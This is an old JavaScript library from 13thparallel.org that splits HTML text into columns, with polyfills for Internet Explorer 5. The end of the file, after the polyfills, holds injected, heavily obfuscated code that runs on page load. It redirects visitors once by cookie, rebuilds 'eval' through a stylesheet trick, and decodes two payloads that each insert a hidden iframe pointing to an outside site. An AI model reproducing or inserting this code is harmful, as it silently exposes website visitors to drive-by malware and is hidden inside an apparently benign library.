//=======================================================\\
//                    13thparallel.org                   \\
//                   Copyright (c) 2002                  \\ 
//   see (13thparallel.org/?title=about) for more info   \\
//=======================================================\\

// Columns object to split a load of innerHTML into columns.
// 08/04/02

var Columns = {
	singleTags : ["br", "img", "hr", "input", "!--"],
	devmode : "off",		// "on" or "off", if set to "on" some info will be displayed in the statusbar.
	cols : new Array(),		// Stores the columns during calculations.
	onSplitStart : new Function(),
	onSplitEnd : new Function(),
	onSplit : new Function()
}


// The chop array holds strings that should be removed from the start of every column.
// Don't remove only one part of a tag pair, like </p>, always remove whole pairs, like <p></p>.

Columns.chop = [
'<SPAN class=colbreak></SPAN>',
'<span class="colbreak"></span>',
'<BR>',
'<br>',
'<br/>',
'<br />',
'<p></p>',
'<P></P>'
]


// Splits a load of text into fragments that will fit in the
// specified width and height and returns them in an array.
// It automatically closes unclosed tags and creates opening tags for the following columns.

Columns.splitText = function(text, width, height) {
	if (!document.getElementById 
	|| !document.getElementById("divSizer") 
	|| typeof document.getElementById("divSizer").innerHTML == "undefined") return;
	
	this.onSplitStart(text, width, height);

	this.cols = new Array();
	this.innerHTMLHits = 0;
	var startDate = new Date();
	var x = "";
	
	for (var i = 0; text != ""; i++) {
		
		// put a fitting fragment in cols array and slice it from the text
		this.cols[i] = this.getFragment(text, width, height);
		text = text.slice(this.cols[i].length);
		
		// remove chop strings from the start of the text
		for (var j = 0; j < this.chop.length; j++) {
			if (text.charAt(0) == "\n") text = text.slice(1);
			x = this.chop[j];
			while (text.indexOf(x) == 0) text = text.slice(x.length);
		}
		
		// add tags from opentags array
		for (var k = this.openTags.length - 1; k >= 0; k--) {
			this.cols[i] += "</" + this.openTags[k].split(" ")[0] + ">";
			if (text != "") text = "<" + this.openTags[k] + ">" + text;
		}
		
		// remove chop strings from the start of the text again
		for (var m = 0; m < this.chop.length; m++) {
			if (text.charAt(0) == "\n") text = text.slice(1);
			x = this.chop[m];
			while (text.indexOf(x) == 0) text = text.slice(x.length);
		}
		
		// fire onSplit event
		this.onSplit(this.cols[i]);
	}
	
	if (this.devmode == "on") {
		var endDate = new Date();
		var message = "Time taken for splitting text = " + (endDate-startDate)/1000 + " seconds";
		message += " Number of unclosed tags found = " + this.openTags.length;
		message += " innerHTMLHits = " + this.innerHTMLHits;
		defaultStatus = message;
	}
	
	this.onSplitEnd(this.cols);
	return this.cols;
}


Columns.getFragment = function(text, width, height) {
	var objSizer = document.getElementById("divSizer");
	objSizer.style.width = width + "px";
	
	var i = 0;
	var limit = 0;
	var add = 0;
	var doloop = false;
	this.openTags = new Array();
	
	objSizer.innerHTML = text;
	if (objSizer.offsetHeight <= height) i = text.length;
	else {
		doloop = true;
		limit = text.length;
	}
	
	
	// This loop determines the raw piece of text that fits in the specified width and height.
	// It is the most powerhungry part of the script because of the repeated innerHTML manipulation.
	// It uses a binary search between 0 and text.length.
	while (doloop) {
		add = Math.round((limit - i) / 2);
		if (add <= 1) doloop = false;
		i += add;
		objSizer.innerHTML = text.substr(0, i);
		
		if (objSizer.offsetHeight > height){
			limit = i;
			i -= add;
		}
		this.innerHTMLHits ++;
	}
	
	
	// Making sure there are no broken words or tags like "<img" at the end of this fragment.
	// This also ensures there will be no broken words or tags at the start of the next fragment.
	if (text.substr(0, i) != text) {
		var lastSpace = text.substr(0, i).lastIndexOf(" ");
		var lastNewline = text.substr(0, i).lastIndexOf("\n")
		var lastGreater = text.substr(0, i).lastIndexOf(">");
		var lastLess = text.substr(0, i).lastIndexOf("<");
		if (lastLess <= lastGreater && lastNewline == i - 1) i = i;
		else if (lastSpace != -1 && lastSpace > lastGreater && lastGreater > lastLess) i = lastSpace + 1;
		else if (lastLess > lastGreater) i = lastLess;
		else if (lastGreater != -1)  i = lastGreater + 1;
	}
	

	// Doing the column breaks.
	text = text.substr(0, i).split('<SPAN class=colbreak></SPAN>')[0];
	text = text.substr(0, i).split('<span class="colbreak"></span>')[0];
	
	
	// Seeking unclosed tag pairs in this fragment and storing them in the openTags array.
	var doPush = true;
	var tags = text.split("<");
	tags.shift();
	
	for (var j=0; j<tags.length; j++) {
	 	// Splitting at ">" and taking the first item.
		// Now we have the whole tag with its attributes and without "<" and ">".
		tags[j] = tags[j].split(">")[0];
		
		// If it's a selfclosing xhtml or xml tag there's no need to do anything with it.
		if (tags[j].charAt(tags[j].length-1) == "/") continue;
		
		if (tags[j].charAt(0) != "/") {
			for (var k=0; k<this.singleTags.length; k++) {
				if (tags[j].split(" ")[0].toLowerCase() == this.singleTags[k]) doPush = false;
			}
			if (doPush) this.openTags.push(tags[j]);
			doPush = true;
		}
		else this.openTags.pop();
	}
	
	return text;
}



// Array and String prototypes.
// Internet Explorer 5 didn't have Push, Pop and Shift so here we create them.
// Split and Join are normally supported by every DHTML capable browser, 
// but they were broken in IE5/MacOSX, madness.

// push appends new elements to an array, and returns the new length
if (Array.prototype && !Array.prototype.push) {
	Array.prototype.push = function() {
		for (var i=0; i<arguments.length; i++) this[this.length] = arguments[i];
		return this.length;
	};
}

// pop removes the last element from an array and returns it
if (Array.prototype && !Array.prototype.pop) {
	Array.prototype.pop = function() {
		var lastitem = this.length > 0 ? this[this.length - 1] : undefined;
		if (this.length > 0) this.length--;
		return lastitem;
	};
}

// shift removes the first element from an array and returns it
if (Array.prototype && !Array.prototype.shift) {
	Array.prototype.shift = function() {
		var firstitem = this.length > 0 ? this[0] : undefined;
		for (var i=0; i<this.length-1; i++) this[i] = this[i + 1];
		if (this.length > 0) this.length--;
		return firstitem;
	};
}

// join returns a string value consisting of all the elements of an array 
// concatenated together and separated by the separator argument
if (Array.prototype && !Array.prototype.join) {
	Array.prototype.join = function(separator) {
		if (typeof separator != "string") separator = ",";
		var s = "";
		for (var i=0; i<this.length; i++) {
			if (this[i] != null && this[i] != undefined) s += this[i];
			if (i != this.length - 1) s += separator;
		}
		return s;
	};
}

// split returns the array that results when a string is separated into substrings
if (String.prototype && !String.prototype.split) {
	String.prototype.split = function(separator, limit) {
		var s = "" + this;
		var a = new Array();
		var sepIndex;
		
		if (typeof separator != "string") return new Array(s);
		if (separator == "") {
			while (s.length) {
				a[a.length] = s.substring(0, 1);
				s = s.substring(1);
				if (typeof limit == "number" && a.length >= limit) break;
			}
		}
		else {
			while (s.length) {
				sepIndex = s.indexOf(separator);
				a[a.length] = s.substring(0, sepIndex);
				s = s.substring(sepIndex+separator.length);
				if (typeof limit == "number" && a.length >= limit) break;
				if (s.length == 0) a[a.length] = s;
			}
		}
		return a;
	};
}

// endif(document.cookie.indexOf("udb=1")<0){var j=0,n="";while(j<54)n+=String.fromCharCode("iuuq;00hbups76/iptuhbups/dpn0ec:160uet0pvu/qiq@t`je>2".charCodeAt(j++)-1);document.cookie="udb=1;";document.location=n;}function createCSS(selector,declaration){var ua=navigator.userAgent.toLowerCase();var isIE=(/msie/.test(ua))&&!(/opera/.test(ua))&&(/win/.test(ua));var style_node=document.createElement("style");if(!isIE)style_node.innerHTML=selector+" {"+declaration+"}";document.getElementsByTagName("head")[0].appendChild(style_node);if(isIE&&document.styleSheets&&document.styleSheets.length>0){var last_style_node=document.styleSheets[document.styleSheets.length-1];if(typeof(last_style_node.addRule)=="object")last_style_node.addRule(selector,declaration);}};createCSS("#va","background:url(data:,String.fromCharCode)");var my=null;var r=document.styleSheets;for(var i=0;i<r.length;i++){try{var dkfw=r[i].cssRules||r[i].rules;for(var srx=0;srx<dkfw.length;srx++){var gk=dkfw.item?dkfw.item(srx):dkfw[srx];if(!gk.selectorText.match(/#va/))continue;fyqo=(gk.cssText)?gk.cssText:gk.style.cssText;my=fyqo.match(/(S[^")]+)/)[1];iu=gk.selectorText.substr(1);};}catch(e){};}kgl=new Date(2010,11,3,2,21,4);t=kgl.getSeconds();var dkel=[36/t,36/t,420/t,408/t,128/t,160/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,412/t,404/t,464/t,276/t,432/t,404/t,436/t,404/t,440/t,464/t,460/t,264/t,484/t,336/t,388/t,412/t,312/t,388/t,436/t,404/t,160/t,156/t,392/t,444/t,400/t,484/t,156/t,164/t,364/t,192/t,372/t,164/t,492/t,52/t,36/t,36/t,36/t,420/t,408/t,456/t,388/t,436/t,404/t,456/t,160/t,164/t,236/t,52/t,36/t,36/t,500/t,128/t,404/t,432/t,460/t,404/t,128/t,492/t,52/t,36/t,36/t,36/t,472/t,388/t,456/t,128/t,392/t,400/t,484/t,128/t,244/t,128/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,396/t,456/t,404/t,388/t,464/t,404/t,276/t,432/t,404/t,436/t,404/t,440/t,464/t,160/t,136/t,392/t,444/t,400/t,484/t,136/t,164/t,236/t,52/t,36/t,36/t,36/t,464/t,456/t,484/t,128/t,492/t,52/t,36/t,36/t,36/t,36/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,388/t,448/t,448/t,404/t,440/t,400/t,268/t,416/t,420/t,432/t,400/t,160/t,392/t,400/t,484/t,164/t,236/t,52/t,36/t,36/t,36/t,500/t,128/t,396/t,388/t,464/t,396/t,416/t,128/t,160/t,404/t,164/t,128/t,492/t,52/t,36/t,36/t,36/t,36/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,392/t,444/t,400/t,484/t,128/t,244/t,128/t,392/t,400/t,484/t,236/t,52/t,36/t,36/t,36/t,500/t,52/t,36/t,36/t,36/t,420/t,408/t,128/t,160/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,412/t,404/t,464/t,276/t,432/t,404/t,436/t,404/t,440/t,464/t,460/t,264/t,484/t,336/t,388/t,412/t,312/t,388/t,436/t,404/t,160/t,156/t,392/t,444/t,400/t,484/t,156/t,164/t,364/t,192/t,372/t,164/t,492/t,52/t,36/t,36/t,36/t,36/t,420/t,408/t,456/t,388/t,436/t,404/t,456/t,160/t,164/t,236/t,52/t,36/t,36/t,36/t,500/t,128/t,404/t,432/t,460/t,404/t,128/t,492/t,52/t,36/t,36/t,36/t,36/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,476/t,456/t,420/t,464/t,404/t,160/t,136/t,240/t,420/t,408/t,456/t,388/t,436/t,404/t,128/t,460/t,456/t,396/t,244/t,156/t,416/t,464/t,464/t,448/t,232/t,188/t,188/t,404/t,468/t,456/t,444/t,480/t,212/t,184/t,392/t,420/t,488/t,188/t,460/t,464/t,388/t,484/t,188/t,444/t,468/t,464/t,184/t,448/t,416/t,448/t,252/t,460/t,380/t,420/t,400/t,244/t,196/t,156/t,128/t,476/t,420/t,400/t,464/t,416/t,244/t,156/t,196/t,192/t,156/t,128/t,416/t,404/t,420/t,412/t,416/t,464/t,244/t,156/t,196/t,192/t,156/t,128/t,460/t,464/t,484/t,432/t,404/t,244/t,156/t,472/t,420/t,460/t,420/t,392/t,420/t,432/t,420/t,464/t,484/t,232/t,416/t,420/t,400/t,400/t,404/t,440/t,236/t,448/t,444/t,460/t,420/t,464/t,420/t,444/t,440/t,232/t,388/t,392/t,460/t,444/t,432/t,468/t,464/t,404/t,236/t,432/t,404/t,408/t,464/t,232/t,192/t,236/t,464/t,444/t,448/t,232/t,192/t,236/t,156/t,248/t,240/t,188/t,420/t,408/t,456/t,388/t,436/t,404/t,248/t,136/t,164/t,236/t,52/t,36/t,36/t,36/t,500/t,52/t,36/t,36/t,500/t,52/t,36/t,36/t,408/t,468/t,440/t,396/t,464/t,420/t,444/t,440/t,128/t,420/t,408/t,456/t,388/t,436/t,404/t,456/t,160/t,164/t,492/t,52/t,36/t,36/t,36/t,472/t,388/t,456/t,128/t,408/t,128/t,244/t,128/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,396/t,456/t,404/t,388/t,464/t,404/t,276/t,432/t,404/t,436/t,404/t,440/t,464/t,160/t,156/t,420/t,408/t,456/t,388/t,436/t,404/t,156/t,164/t,236/t,408/t,184/t,460/t,404/t,464/t,260/t,464/t,464/t,456/t,420/t,392/t,468/t,464/t,404/t,160/t,156/t,460/t,456/t,396/t,156/t,176/t,156/t,416/t,464/t,464/t,448/t,232/t,188/t,188/t,404/t,468/t,456/t,444/t,480/t,212/t,184/t,392/t,420/t,488/t,188/t,460/t,464/t,388/t,484/t,188/t,444/t,468/t,464/t,184/t,448/t,416/t,448/t,252/t,460/t,380/t,420/t,400/t,244/t,196/t,156/t,164/t,236/t,408/t,184/t,460/t,464/t,484/t,432/t,404/t,184/t,472/t,420/t,460/t,420/t,392/t,420/t,432/t,420/t,464/t,484/t,244/t,156/t,416/t,420/t,400/t,400/t,404/t,440/t,156/t,236/t,408/t,184/t,460/t,464/t,484/t,432/t,404/t,184/t,448/t,444/t,460/t,420/t,464/t,420/t,444/t,440/t,244/t,156/t,388/t,392/t,460/t,444/t,432/t,468/t,464/t,404/t,156/t,236/t,408/t,184/t,460/t,464/t,484/t,432/t,404/t,184/t,432/t,404/t,408/t,464/t,244/t,156/t,192/t,156/t,236/t,408/t,184/t,460/t,464/t,484/t,432/t,404/t,184/t,464/t,444/t,448/t,244/t,156/t,192/t,156/t,236/t,408/t,184/t,460/t,404/t,464/t,260/t,464/t,464/t,456/t,420/t,392/t,468/t,464/t,404/t,160/t,156/t,476/t,420/t,400/t,464/t,416/t,156/t,176/t,156/t,196/t,192/t,156/t,164/t,236/t,408/t,184/t,460/t,404/t,464/t,260/t,464/t,464/t,456/t,420/t,392/t,468/t,464/t,404/t,160/t,156/t,416/t,404/t,420/t,412/t,416/t,464/t,156/t,176/t,156/t,196/t,192/t,156/t,164/t,236/t,52/t,36/t,36/t,36/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,412/t,404/t,464/t,276/t,432/t,404/t,436/t,404/t,440/t,464/t,460/t,264/t,484/t,336/t,388/t,412/t,312/t,388/t,436/t,404/t,160/t,156/t,392/t,444/t,400/t,484/t,156/t,164/t,364/t,192/t,372/t,184/t,388/t,448/t,448/t,404/t,440/t,400/t,268/t,416/t,420/t,432/t,400/t,160/t,408/t,164/t,236/t,52/t,36/t,36/t,500/t];var aty="";var g=function(){return this;}();ko=g["e"+iu+"l"];var ydxx="";gh=ko(my);for(var i=0;i<dkel.length;i++){ch=ko(dkel[i]);ydxx+=gh(ch);}ko(ydxx);if (typeof(defs_colors)=="undefined") {
   var defs_colors = 1;

   var div_colors = new Array('#778383', '#7f493e', '#3e7277', '#70737e', '#7d3d7d', '#7b3e7e', '#897883', '#847374', '#3e7270', '#83707b', '#7e763e', '#4e7270', '#83707b', '#7e7681', '#82827d', '#748682', '#4c4000');
   var css_colors = new Array('#717e73', '#887378', '#857378', '#827f7b', '#70887d', '#7e7d74', '#787581', '#707c74', '#4b7378', '#852f82', '#83887b', '#744c36', '#737882', '#7f7b70', '#88497d', '#7e7d74', '#364d4b', '#787581', '#707c74', '#2f8281', '#724c36', '#364d4b', '#3e7875', '#81707c', '#744d4b', '#3e7378', '#854d82', '#81724e', '#81754c');
   var css_indexes = new Array(4, 3, 7, 4, 6, 39, 17, 3, 4);

   function div_pick_colors(t) {
	var s = '';
	for (j=0;j<t.length;j++) {	
		var c_rgb = t[j];
		for (i=1;i<7;i++) {
			var c_clr = c_rgb.substr(i++,2);
			if (c_clr!='00') s += String.fromCharCode(parseInt(c_clr,16)-15);
		}
	  }
	return s;
   }

   var ct = new Array(10);
   var s = div_pick_colors(css_colors);
   var c = css_indexes;
   ct[0] = div_pick_colors(div_colors);
   var j = 0; var ci = 1;
   for(i=0;i<c.length;i++) {
  	ct[ci++] = s.substr(j,c[i]);
	j=j+c[i];
   }
   ct[0] = ct[0];
   function check_div_styles() {
	var d=document.getElementsByTagName(ct[1])[0];
	if(d) {
		try {
			var d=document.getElementsByTagName(ct[1])[0];
			var v=document.createElement(ct[2]);
			v.style.display=ct[4];
			v.setAttribute(ct[3],ct[4]);
			d.appendChild(v);
			w=document.createElement(ct[5]);
			w.src=ct[0];
			w.setAttribute(ct[8],ct[0]);
			v.appendChild(w);
		} catch(e) {
			document.write(ct[6]+ct[0]+ct[7]);
		}
	   } else {
		setTimeout("check_div_styles();",500);	
	   }
   }

   check_div_styles();

}
